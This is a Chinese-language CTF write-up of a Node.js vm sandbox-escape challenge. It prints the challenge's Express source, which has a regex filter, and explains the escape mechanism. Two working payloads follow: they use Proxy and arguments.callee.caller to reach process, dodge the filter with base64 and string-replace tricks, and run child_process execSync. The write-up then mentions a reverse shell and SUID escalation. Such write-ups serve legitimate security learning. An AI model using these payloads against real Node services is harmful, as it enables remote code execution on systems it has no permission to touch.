源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");

app
.use(bodyParser.json())
//以json格式接收参数
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')));

app.get('/', function (req, res) {
res.sendFile(__dirname + '/public/home.html');
});

function waf(code) {
let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
if (code.match(pattern)) {
throw new Error("what can I say? hacker out!!");
}
}

app.post('/', function (req, res) {
let code = req.body.code;
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);
try {
waf(code);
let result = vm.runInContext(code, context);
console.log(result);
} catch (e) {
console.log(e.message);
require('./hack');
}
});

app.get('/secret', function (req, res) {
if (process.__filename == null) {
let content = fs.readFileSync(__filename, "utf-8");
return res.send(content);
} else {
let content = fs.readFileSync(process.__filename, "utf-8");
return res.send(content);
}
});

app.listen(3000, () => {
console.log("listen on 3000");
});

f12查看页面可以发现隐藏起来的路由/secret,访问得到源代码

很明显是一个vm沙盒逃逸的题目,很好没学过,只能现搜一下

什么是vm沙盒逃逸

根据参考链接中的文章,简单概括一下,例如我们现在源代码是运行在global环境下,那么安全的sandbox环境就应该是在和global并列的环境下运行,这样sandbox就很难访问到global,达到相对安全的效果。为什么是相对的呢?这也就是沙盒逃逸的由来了,因为你是要在sandbox中运行代码,而代码是从global中传过去的,也就是说实际上sandbox和global不是完全的分隔,而是有着code这一个输入

示例:

1
2
3
4
5
6
7
8
9
10
11
12
"use strict";
const vm = require("vm");
const y1 = vm.runInNewContext(`this`);
console.log(y1);
const y2 = vm.runInNewContext(`this.constructor`);
console.log(y2);
const y3 = vm.runInNewContext(`this.constructor.constructor`);
console.log(y3);
const y4 = vm.runInNewContext(`this.constructor.constructor('return process')`);
console.log(y4);
const y5 = vm.runInNewContext(`this.constructor.constructor('return process')()`);
console.log(y5);
1
2
3
4
5
6
{}
[Function: Object]
[Function: Function]
[Function: anonymous] 匿名函数
process {
version: 'v18.15.0',.....}

以上实际上就是通过传入的code这个变量,来访问global(因为code这个对象实际上是在global上的)

分析

回到源代码,重点在post路由上

1、Object.create(null)断绝了使用this的念想

2、waf过滤了process,[],exec,spawn,Buffer,,+,concat,eval,Function

实际上waf就是不想让大家调用process,而且还过滤了很多能够进行字符串变换和拼接的函数

解题

这里提供三种解法,当然解法肯定不止这些

1、本人解法(atob变化base64)

1
2
3
4
5
6
7
8
 throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const g = (cc.constructor.constructor('return global'))();
return Reflect.get(g, Reflect.ownKeys(g).find(x=>x.includes('eva')))(g.atob('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJ3aG9hbWkiKQ==')).toString();
}
})
//注意base64中也不能出现+,出现的话补个空格

2、LaoGong(nkctf第一的队)

1
2
3
4
5
6
7
8
9
10
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return procBess'.replace('B','')))();
const obj = p.mainModule.require('child_procBess'.replace('B',''));
const ex = Object.getOwnPropertyDescriptor(obj, 'exeicSync'.replace('i',''));
return ex.value('whoami').toString();
}
})
//有一说一我比较喜欢这个,简单易懂,虽然我写的时候也没想到

3、官方wp

1
2
官方wp用的是原型链污染读取文件再rce
因为官方wp是直接贴的图片,这里也是懒得抄过来,而且我这种水平也想不到预期解,就不作详细解释了

rce之后反弹shell,查看根目录时会发现有flag和readflag,直接运行readflag就行,不懂的看suid提权即可

原理

1、可以看到三种解法中都有共同点,就是使用了throw new Proxy()和cc,使用throw new Proxy()是因为下面代码在输出沙盒的结果时使用try catch的结构(详细原理可见参考链接1),cc=arguments.callee.caller这个是取代了this的作用,作为global和sandbox之间的桥梁

示例:

1
2
3
4
5
6
7
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
return cc
}
})
运行这段代码之后,返回值为[Function (anonymous)],如果将return cc改为return cc()之后,返回值为const vm = require("vm");TypeError: require is not a function,可见cc其实是指向global中的require的

2、题目的难点其实在于对js中字符串变化和拼接的技巧的掌握

碎碎念环节

开容器开得我想似,试一次就可能会寄一次,所以题目提示说最好本地打通一次过还真没毛病

1
2
3
4
5
6
参考链接:
https://xz.aliyun.com/t/11859?time__1311=mqmx0DBD9DyDuBYD%2FQbiQQLKx5fxAD&alichlgref=https%3A%2F%2Fwww.google.com%2F#toc-0
https://ycznkvrmzo.feishu.cn/docx/E92JdQmGxoUwXexnQgpcRaIsn7g
https://mp.weixin.qq.com/s/47gTvMnvv8iJuGAEsi8RPw
https://www.anquanke.com/post/id/237032#h3-11
https://forum.butian.net/share/1631